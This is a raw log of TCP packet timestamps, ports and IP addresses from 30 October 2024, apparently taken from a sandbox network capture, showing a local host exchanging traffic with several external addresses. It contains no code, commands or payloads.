Oct 30, 2024 23:11:40.860497952 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.860589027 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.860608101 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.860618114 CET	49891	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.860622883 CET	443	49891	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.862915039 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.862940073 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.863574982 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.863801003 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.863814116 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.869604111 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.869662046 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.869860888 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.871004105 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.871009111 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.871037006 CET	49892	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.871042013 CET	443	49892	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.884948969 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.885005951 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.885080099 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.885689020 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.885694027 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.885704041 CET	49894	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.885706902 CET	443	49894	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.894565105 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.894594908 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.894651890 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.895226955 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.895241022 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.899230003 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.899249077 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.899329901 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.902177095 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.902223110 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.902271032 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.902338982 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.902755976 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.902755976 CET	49893	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.902769089 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.902776957 CET	443	49893	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.905324936 CET	49898	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.905332088 CET	443	49898	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.908047915 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.908058882 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.908123970 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.909137964 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:40.909149885 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:40.913841963 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:40.919636965 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:40.931812048 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.931838989 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.931951046 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:40.931967020 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:40.933137894 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.048949003 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.048970938 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.049098015 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.049108028 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.049236059 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.050559998 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.050576925 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.050828934 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.050836086 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.051058054 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.167404890 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.167429924 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.167510033 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.167517900 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.167552948 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.167572975 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.192533970 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192568064 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192579985 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192600012 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192631006 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192656040 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192668915 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192702055 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192784071 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192795992 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192811012 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192821980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192823887 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192841053 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192859888 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.192979097 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.192991972 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.193030119 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.193406105 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.193461895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.198597908 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.198662043 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.214888096 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.214912891 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.215007067 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.215018988 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.215039968 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.215082884 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.286708117 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.286753893 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.286797047 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.286828995 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.286880016 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.287687063 CET	49876	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.287703037 CET	443	49876	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.402517080 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.402549028 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.402746916 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.403079033 CET	49901	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.403091908 CET	443	49901	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.498207092 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.498250008 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.498286009 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.498328924 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.503814936 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.503851891 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.503871918 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.503922939 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.503936052 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.503977060 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.504029036 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.504064083 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.504085064 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.505044937 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.505044937 CET	49846	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.505059004 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.505064011 CET	443	49846	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.582865000 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.582906961 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.582918882 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.582954884 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.583003998 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.583020926 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583033085 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583071947 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.583271980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583340883 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583353043 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583372116 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.583451033 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.583466053 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583478928 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.583518028 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.584254980 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.584319115 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.584320068 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.584332943 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.584373951 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.584423065 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.584436893 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.584474087 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.585036993 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585056067 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585067987 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585097075 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.585131884 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.585191965 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585205078 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585253954 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.585920095 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585973024 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585984945 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.585984945 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.586011887 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.586044073 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.586046934 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.586056948 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.586095095 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.586795092 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.586839914 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.600234032 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.601708889 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.601737976 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.602392912 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.602399111 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.606781006 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.607594967 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.607616901 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.608144045 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.608149052 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.616010904 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.616080999 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.616101027 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.616195917 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.682157993 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.700901031 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.700964928 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.700975895 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.700997114 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701013088 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.701040030 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.701051950 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701090097 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701145887 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.701183081 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701225996 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.701457977 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701493025 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.701554060 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.707022905 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.707066059 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.707138062 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.707357883 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.707396984 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.707463026 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.707631111 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.707638979 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.707680941 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.709975958 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.710005045 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.710623026 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.710628033 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.715574026 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.715594053 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.715665102 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.718044043 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.718070030 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.718183041 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.718250036 CET	49904	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.718266964 CET	443	49904	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.722304106 CET	49905	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.722320080 CET	443	49905	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.722475052 CET	49906	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.722485065 CET	443	49906	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.723156929 CET	49907	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.723181963 CET	443	49907	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.723297119 CET	49908	443	192.168.2.5	13.107.246.57
Oct 30, 2024 23:11:41.723310947 CET	443	49908	13.107.246.57	192.168.2.5
Oct 30, 2024 23:11:41.733174086 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.733239889 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.733486891 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.733521938 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.733521938 CET	49896	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.733534098 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.733544111 CET	443	49896	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.741806030 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.741861105 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.741936922 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.753911972 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.753911972 CET	49895	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.753935099 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.753945112 CET	443	49895	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.777108908 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.777138948 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.777230978 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.778362989 CET	49909	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.778378010 CET	443	49909	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.779769897 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.779793978 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.779880047 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.783215046 CET	49910	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.783227921 CET	443	49910	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.797494888 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.797529936 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.797564030 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.797585011 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.797610044 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.797616959 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.797638893 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.797728062 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820638895 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820710897 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820746899 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820748091 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820770979 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820785046 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820794106 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820822954 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820856094 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820871115 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820893049 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820919991 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820929050 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820946932 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.820966959 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.820979118 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.821012020 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.828919888 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.828929901 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.829036951 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.830385923 CET	49911	443	192.168.2.5	20.190.159.4
Oct 30, 2024 23:11:41.830396891 CET	443	49911	20.190.159.4	192.168.2.5
Oct 30, 2024 23:11:41.844089985 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.844199896 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.844208002 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.844259024 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.844722986 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.844722986 CET	49899	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.844736099 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.844744921 CET	443	49899	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.846048117 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.846064091 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.846503973 CET	49897	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.846509933 CET	443	49897	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.859493017 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.859536886 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.859601974 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.860299110 CET	49912	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:41.860311985 CET	443	49912	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:41.908253908 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.908282995 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.908349991 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.908850908 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.908879995 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.908929110 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.910269976 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.910279989 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.910497904 CET	49913	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.910511017 CET	443	49913	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.910527945 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.910945892 CET	49914	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.910959959 CET	443	49914	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.911242008 CET	49915	443	192.168.2.5	23.221.22.201
Oct 30, 2024 23:11:41.911254883 CET	443	49915	23.221.22.201	192.168.2.5
Oct 30, 2024 23:11:41.915374041 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.915405989 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.915441036 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.915462971 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.936794996 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936810970 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936827898 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936882973 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.936927080 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.936940908 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936956882 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936973095 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936975002 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.936990976 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.936999083 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937010050 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937025070 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.937032938 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937041998 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.937066078 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937107086 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937278986 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.937330961 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.937345982 CET	80	49870	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:41.937390089 CET	49870	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:41.937417030 CET	49870	80	192.168.2.5	185.215.113.206
